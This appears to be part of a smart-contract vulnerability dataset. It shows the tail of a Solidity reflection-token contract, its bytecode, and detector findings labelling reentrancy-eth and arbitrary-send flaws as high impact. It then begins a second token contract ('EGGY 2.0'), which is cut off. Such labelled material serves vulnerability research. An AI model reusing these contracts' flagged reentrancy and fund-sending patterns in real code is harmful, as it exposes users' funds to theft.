uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e3565b610441565b6040516101789190612d82565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612f1f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612894565b610470565b6040516101e09190612d82565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612806565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190612f94565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612960565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612806565b610766565b6040516102b19190612f1f565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612cb4565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612d9d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e3565b610970565b60405161035b9190612d82565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291f565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129b2565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612858565b6111fd565b6040516104189190612f1f565b60405180910390f35b606060405180606001604052806027815260200161365760279139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161362f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612e7f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612e7f565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611b73565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c60565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612e7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f2465524149434855204164000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612e7f565b60405180910390fd5b60005b8151811015610ada57600160066000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad290613235565b915050610a26565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611cce565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612e7f565b60405180910390fd5b601160149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612eff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b919061282f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061282f565b6040518363ffffffff1660e01b8152600401610e02929190612ccf565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e54919061282f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612d21565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c91906129db565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cf8565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612989565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e7f565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e3f565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea00000611fc890919063ffffffff16565b61204390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f29190612f1f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612edf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612dff565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190612f1f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612dbf565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612e9f565b60405180910390fd5b6007600a819055506005600b8190555061159261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160057506115d061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117cb5750601160179054906101000a900460ff165b1561187b576012548111156117df57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182a57600080fd5b6021426118379190613055565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119265750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611992576007600a819055506008600b819055505b600061199d30610766565b9050601160159054906101000a900460ff16158015611a0a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a225750601160169054906101000a900460ff165b15611a4a57611a3081611cce565b60004790506000811115611a4857611a4747611b73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611afd57600090505b611b098484848461208d565b50505050565b6000838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612d9d565b60405180910390fd5b5060008385611b669190613136565b9050809150509392505050565b7369696902c8e3950ca062527c61e23b8aedb444cb73ffffffffffffffffffffffffffffffffffffffff166108fc611bb560028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be0573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c3160028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5c573d6000803e3d6000fd5b5050565b6000600854821115611ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9e90612ddf565b60405180910390fd5b6000611cb16120ba565b9050611cc6818461204390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d5a5781602001602082028036833780820191505090505b5090503081600081518110611d98577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e72919061282f565b81600181518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f77959493929190612f3a565b600060405180830381600087803b158015611f9157600080fd5b505af1158015611fa5573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611fdb576000905061203d565b60008284611fe991906130dc565b9050828482611ff891906130ab565b14612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f90612e5f565b60405180910390fd5b809150505b92915050565b600061208583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e5565b905092915050565b8061209b5761209a612148565b5b6120a684848461218b565b806120b4576120b3612356565b5b50505050565b60008060006120c761236a565b915091506120de818361204390919063ffffffff16565b9250505090565b6000808311829061212c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121239190612d9d565b60405180910390fd5b506000838561213b91906130ab565b9050809150509392505050565b6000600a5414801561215c57506000600b54145b1561216657612189565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061219d876123cc565b9550955095509550955095506121fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc816124dc565b6122e68483612599565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123439190612f1f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123a0683635c9adc5dea0000060085461204390919063ffffffff16565b8210156123bf57600854683635c9adc5dea000009350935050506123c8565b81819350935050505b9091565b60008060008060008060008060006123e98a600a54600b546125d3565b92509250925060006123f96120ba565b9050600080600061240c8e878787612669565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061247683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b0f565b905092915050565b600080828461248d9190613055565b9050838110156124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990612e1f565b60405180910390fd5b8091505092915050565b60006124e66120ba565b905060006124fd8284611fc890919063ffffffff16565b905061255181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ae8260085461243490919063ffffffff16565b6008819055506125c98160095461247e90919063ffffffff16565b6009819055505050565b6000806000806125ff60646125f1888a611fc890919063ffffffff16565b61204390919063ffffffff16565b90506000612629606461261b888b611fc890919063ffffffff16565b61204390919063ffffffff16565b9050600061265282612644858c61243490919063ffffffff16565b61243490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126828589611fc890919063ffffffff16565b905060006126998689611fc890919063ffffffff16565b905060006126b08789611fc890919063ffffffff16565b905060006126d9826126cb858761243490919063ffffffff16565b61243490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061270561270084612fd4565b612faf565b9050808382526020820190508285602086028201111561272457600080fd5b60005b85811015612754578161273a888261275e565b845260208401935060208301925050600181019050612727565b5050509392505050565b60008135905061276d816135e9565b92915050565b600081519050612782816135e9565b92915050565b600082601f83011261279957600080fd5b81356127a98482602086016126f2565b91505092915050565b6000813590506127c181613600565b92915050565b6000815190506127d681613600565b92915050565b6000813590506127eb81613617565b92915050565b60008151905061280081613617565b92915050565b60006020828403121561281857600080fd5b60006128268482850161275e565b91505092915050565b60006020828403121561284157600080fd5b600061284f84828501612773565b91505092915050565b6000806040838503121561286b57600080fd5b60006128798582860161275e565b925050602061288a8582860161275e565b9150509250929050565b6000806000606084860312156128a957600080fd5b60006128b78682870161275e565b93505060206128c88682870161275e565b92505060406128d9868287016127dc565b9150509250925092565b600080604083850312156128f657600080fd5b60006129048582860161275e565b9250506020612915858286016127dc565b9150509250929050565b60006020828403121561293157600080fd5b600082013567ffffffffffffffff81111561294b57600080fd5b61295784828501612788565b91505092915050565b60006020828403121561297257600080fd5b6000612980848285016127b2565b91505092915050565b60006020828403121561299b57600080fd5b60006129a9848285016127c7565b91505092915050565b6000602082840312156129c457600080fd5b60006129d2848285016127dc565b91505092915050565b6000806000606084860312156129f057600080fd5b60006129fe868287016127f1565b9350506020612a0f868287016127f1565b9250506040612a20868287016127f1565b9150509250925092565b6000612a368383612a42565b60208301905092915050565b612a4b8161316a565b82525050565b612a5a8161316a565b82525050565b6000612a6b82613010565b612a758185613033565b9350612a8083613000565b8060005b83811015612ab1578151612a988882612a2a565b9750612aa383613026565b925050600181019050612a84565b5085935050505092915050565b612ac78161317c565b82525050565b612ad6816131bf565b82525050565b6000612ae78261301b565b612af18185613044565b9350612b018185602086016131d1565b612b0a8161330b565b840191505092915050565b6000612b22602383613044565b9150612b2d8261331c565b604082019050919050565b6000612b45602a83613044565b9150612b508261336b565b604082019050919050565b6000612b68602283613044565b9150612b73826133ba565b604082019050919050565b6000612b8b601b83613044565b9150612b9682613409565b602082019050919050565b6000612bae601d83613044565b9150612bb982613432565b602082019050919050565b6000612bd1602183613044565b9150612bdc8261345b565b604082019050919050565b6000612bf4602083613044565b9150612bff826134aa565b602082019050919050565b6000612c17602983613044565b9150612c22826134d3565b604082019050919050565b6000612c3a602583613044565b9150612c4582613522565b604082019050919050565b6000612c5d602483613044565b9150612c6882613571565b604082019050919050565b6000612c80601783613044565b9150612c8b826135c0565b602082019050919050565b612c9f816131a8565b82525050565b612cae816131b2565b82525050565b6000602082019050612cc96000830184612a51565b92915050565b6000604082019050612ce46000830185612a51565b612cf16020830184612a51565b9392505050565b6000604082019050612d0d6000830185612a51565b612d1a6020830184612c96565b9392505050565b600060c082019050612d366000830189612a51565b612d436020830188612c96565b612d506040830187612acd565b612d5d6060830186612acd565b612d6a6080830185612a51565b612d7760a0830184612c96565b979650505050505050565b6000602082019050612d976000830184612abe565b92915050565b60006020820190508181036000830152612db78184612adc565b905092915050565b60006020820190508181036000830152612dd881612b15565b9050919050565b60006020820190508181036000830152612df881612b38565b9050919050565b60006020820190508181036000830152612e1881612b5b565b9050919050565b60006020820190508181036000830152612e3881612b7e565b9050919050565b60006020820190508181036000830152612e5881612ba1565b9050919050565b60006020820190508181036000830152612e7881612bc4565b9050919050565b60006020820190508181036000830152612e9881612be7565b9050919050565b60006020820190508181036000830152612eb881612c0a565b9050919050565b60006020820190508181036000830152612ed881612c2d565b9050919050565b60006020820190508181036000830152612ef881612c50565b9050919050565b60006020820190508181036000830152612f1881612c73565b9050919050565b6000602082019050612f346000830184612c96565b92915050565b600060a082019050612f4f6000830188612c96565b612f5c6020830187612acd565b8181036040830152612f6e8186612a60565b9050612f7d6060830185612a51565b612f8a6080830184612c96565b9695505050505050565b6000602082019050612fa96000830184612ca5565b92915050565b6000612fb9612fca565b9050612fc58282613204565b919050565b6000604051905090565b600067ffffffffffffffff821115612fef57612fee6132dc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613060826131a8565b915061306b836131a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130a05761309f61327e565b5b828201905092915050565b60006130b6826131a8565b91506130c1836131a8565b9250826130d1576130d06132ad565b5b828204905092915050565b60006130e7826131a8565b91506130f2836131a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561312b5761312a61327e565b5b828202905092915050565b6000613141826131a8565b915061314c836131a8565b92508282101561315f5761315e61327e565b5b828203905092915050565b600061317582613188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131ca826131a8565b9050919050565b60005b838110156131ef5780820151818401526020810190506131d4565b838111156131fe576000848401525b50505050565b61320d8261330b565b810181811067ffffffffffffffff8211171561322c5761322b6132dc565b5b80604052505050565b6000613240826131a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132735761327261327e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f28161316a565b81146135fd57600080fd5b50565b6136098161317c565b811461361457600080fd5b50565b613620816131a8565b811461362b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636568747470733a2f2f742e6d652f65526169636875202d2028726169636875636f696e2e636f6d29a26469706673582212206884d7cce7daa069fa5d6d4472cedc750d7a824da67476e813278582ad03366764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,483 |
0x9e89ac7D9e4BC3594485Aa243e367c478726e306
|
/* WELCOME TO EGGY 2.0
THIS IS THE CORRECT contract*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
